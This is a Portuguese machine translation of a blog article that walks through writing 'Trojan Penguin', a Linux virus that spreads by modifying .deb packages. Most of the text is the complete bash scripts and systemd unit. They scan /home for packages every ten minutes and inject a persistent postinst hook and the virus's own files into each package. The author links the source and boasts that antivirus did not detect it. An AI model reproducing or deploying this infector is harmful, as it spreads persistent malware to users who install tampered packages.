Trojan Penguin: Criando um vírus para Linux

Não, não vou contar como escrever meu ransomware ransomware, minerador ou explorar uma vulnerabilidade super nova, como você pode imaginar. E ainda mais, não estou ansioso para aumentar o holivar "O Linux é mais seguro que o Windows? (Sim)". Meu objetivo era escrever um vírus simples para o linux, ninguém, por assim dizer, "Just for Fun", cuja única função é distribuir sua cópia. Sobre o que fiz, vou contar neste artigo. No final, darei um link para o GitHub com a fonte.

imagem

Isenção de responsabilidade


Este artigo foi escrito para fins educacionais. O autor em nenhum caso incentiva os leitores a violar as leis da Federação Russa. Por favor, não repita as etapas descritas neste artigo sem ler primeiro o capítulo 28 do Código Penal da Federação Russa.

E o que vamos realmente fazer?


O mecanismo de implementação mais fácil para espalhar o vírus me pareceu se espalhar através de pacotes deb / rpm modificados. Os pacotes deb e rpm agora são a ferramenta de distribuição mais popular para Linux. Optei pelo deb, pois o número de usuários de distribuições baseadas no Debian prevalece sobre os usuários do Red Hat e seus "seguidores".

Também é necessário que o vírus inicie automaticamente e, após determinado período de tempo, verifique o computador em busca de pacotes deb. Para facilitar a depuração, escolhi um período de 10 minutos.

O que é um pacote deb?


O pacote deb é um arquivo no formato .ar que não usa compactação. Existem mais três arquivos dentro do arquivo: debian-bynary , control.tar e data.tar

debian.binary - um arquivo de texto contendo uma versão do formato do pacote deb, no momento em que eles sempre escrevem "2.0" lá.

control.tar - arquiva com arquivos contendo informações sobre o pacote (por exemplo, o arquivo de controle necessário) e pacotes necessários para instalar o pacote (por exemplo, scripts préinst, postinst, prerm e postrm que são executados antes / depois da instalação / desinstalação do pacote). Ele pode ser compactado usando gzip ou xz. Nesse caso, a extensão .gz ou .xz é adicionada ao nome do arquivo, respectivamente.

data.tar - arquive com diretórios que contêm arquivos instalados. Os diretórios são representados por uma árvore, na forma em que devem ser extraídos para a raiz do sistema de arquivos. Pode ser compactado usando gzip, bzip2, lzma, xz.

Precisamos prestar atenção ao arquivo de controle do arquivo control.tar. Este arquivo contém informações sobre o pacote, como autor, descrição, versão, prioridade do pacote no sistema, etc. Estou interessado no campo depende , que mostra as dependências (pacotes sem os quais ele não pode funcionar neste pacote). Nesse campo, nosso vírus anexará o fakeroot e o dpkg - utilitários necessários para modificar outros pacotes no computador infectado.

Para construir um pacote deb, o diretório raiz do pacote é criado. Diretórios com arquivos instalados e o diretório DEBIAN contendo arquivos de serviço, incluindo controle e scripts para instalação / desinstalação, são colocados nele. Em seguida, o comando fakeroot dpkg-deb --build ./path é executado .

Primeiro houve um demônio


No momento em que escrevi o vírus, eu ainda tinha uma péssima idéia do que era Cron e, por isso, escrevi meu próprio daemon para systemd . Criei o arquivo trojan_penguin.service, que será colocado no diretório / lib / systemd / system e adicionei o seguinte:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = / usr / bin / trojan_penguin.sh - aqui indiquei o caminho para o arquivo (para o futuro vírus), que deve ser iniciado na inicialização do sistema.

Tipo = bifurcação - esta linha indica que o processo deve se ramificar do processo pai.
Não vi a necessidade de um arquivo PID, portanto não o adicionei.
Nos manuais para escrever seu próprio daemon, os arquivos .service são propostos para serem colocados nos diretórios / usr / lib / systemd / system / ou / etc / systemd / system /. Mas no meu ubunt eu encontrei o diretório / lib / systemd / system. (Eu tenho o apache2.service lá). Talvez alguém nos comentários escreva para que serve esse diretório e como ele difere dos outros dois.

O arquivo /usr/bin/trojan_penguin.sh recebi isso:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

Estamos procurando pacotes deb na seção / home (onde mais posso encontrá-los?). Os caminhos para os arquivos encontrados são gravados na variável list . Em seguida, basta percorrer todas as linhas da linha e, para cada arquivo, executamos o script tp_infect.sh, que infectará esse arquivo. Quando escrevi o vírus, os scripts estavam em um diretório separado e, por conveniência, criei uma variável de depuração na qual escrevi o caminho para esta pasta.

O daemon está pronto, resta saber como executá-lo quando o sistema iniciar. Para isso, escrevi um script pós-instalação . Ele será iniciado imediatamente após a instalação do pacote infectado e indica que nosso vírus começa com o sistema. Coloquei-o no diretório "/ usr / bin /" para copiá-lo de lá para os pacotes infectados.

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

Modificando o pacote deb


Como escrevi acima, os arquivos contidos em um pacote deb podem ter permissões diferentes. Eu não me incomodei e considerei apenas o caso em que os arquivos são compactados usando .xz. O arquivo /usr/bin/tp_infect.sh responsável pela modificação recebeu o seguinte conteúdo:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

Problemas com a pós-instalação


Tudo ficaria bem, mas agora temos um problema. Mas e se o pacote já tiver postinstal? A pós-instalação original pode ser escrita em diferentes idiomas (python, bash ...), talvez seja até binária. Isso não nos permitirá simplesmente pegar e adicionar nosso postinstall. Resolvi esse problema da seguinte maneira:

Adicionado o seguinte ao script tp_infect.sh :

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

E na pós-instalação , é o seguinte:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

Eu resolvi um problema, mas outro apareceu. Nosso vírus modificará o pacote, mesmo que já esteja infectado. Após a modificação, o vírus verá que existe uma pós-instalação no pacote (que é realmente nosso), mova-o para / usr / bin /, substituindo assim o original. Para evitar isso, adicionei uma verificação ao "tp_infect.sh", independentemente de termos modificado ou não este arquivo:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

Juntando


O vírus está pronto. Aqui está um link para o GitHub , como prometido. Este vírus pode ser compilado em um pacote deb separado (execute makedeb.sh) do repositório. Para injetar o vírus em qualquer pacote, basta executar o comando:

 tp_infect.sh /  deb-/ 

Existem duas cópias do script postinst no repositório

DEBIAN / postinst - esta cópia é executada apenas ao instalar um pacote vazio com um vírus. Comentei para que o vírus não inicie após a instalação e modifique os pacotes apenas por comando.

usr / bin / postinst - esta cópia é inserida nos pacotes infectados.

Sumário


E a conclusão é óbvia sem este artigo: você não deve baixar e executar programas de fontes não verificadas.

Por uma questão de curiosidade, enviei o pacote deb do vírus ao VirusTotal para análise. No momento da redação deste documento, nenhum antivírus o detectou. Aqui está o link para o relatório. Gostaria de saber quanto tempo deve passar e quantos hosts precisam ser infectados com esse vírus, para que os antivírus prestem atenção a ele?

Source: https://habr.com/ru/post/pt430460/


All Articles